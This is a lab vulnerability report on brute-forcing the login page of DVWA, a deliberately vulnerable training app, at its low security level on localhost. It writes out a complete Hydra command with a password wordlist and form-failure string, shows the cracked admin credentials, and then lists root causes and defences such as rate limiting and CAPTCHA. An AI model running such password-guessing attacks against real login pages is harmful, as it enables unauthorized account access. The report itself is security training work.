Vulnerability Report: Brute Force in DVWA

Lab Name: DVWA – Brute Force
Security Level: Low
Date: 2025-06-17
Tested by: Maryam ahmad

Vulnerability Summary:

The **Brute Force** vulnerability allows an attacker to try a large number of password combinations (usually from a wordlist) to guess valid login credentials. In DVWA, the login page lacks protection mechanisms, making it vulnerable to brute force attacks.

Impact

- Unauthorized access to administrative functions.
- Potential lateral movement or privilege escalation.
- Demonstrates weak authentication mechanisms.

Exploitation Steps:

1. **Target Identification:**
    a. Login page URL:
    http://127.0.0.1/dvwa/vulnerabilities/brute/
2. **Verify Configuration:**
    a. DVWA Security Level set to **Low**.
    b. Database connection configured properly in `config.inc.php`.
3. **Attack Execution using Hydra:**

The attack was carried out using the **Hydra** tool:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect." -t 4
```

a. `-l admin`: The username to brute force
b. `-P`: Path to the password wordlist.
c. `http-post-form`: Because the login form uses POST method.
d. The last part is the failure message used to detect incorrect attempts.

4. **Result:**

After several attempts, valid credentials were discovered:

```
[80][http-post-form] host: 127.0.0.1   login: admin   password: password123
```

Root Cause:

- No rate limiting on login attempts.
- No CAPTCHA implementation.
- No account lockout mechanism after multiple failures.
- No delay or throttling between attempts.

Security Recommendations:

1. Implement **rate limiting** for login requests.
2. Introduce **delay/throttle** after failed login attempts.
3. Add **CAPTCHA** to the login form.
4. Enable **logging and monitoring** of suspicious login activities.
5. Use **multi-factor authentication (2FA)** if possible.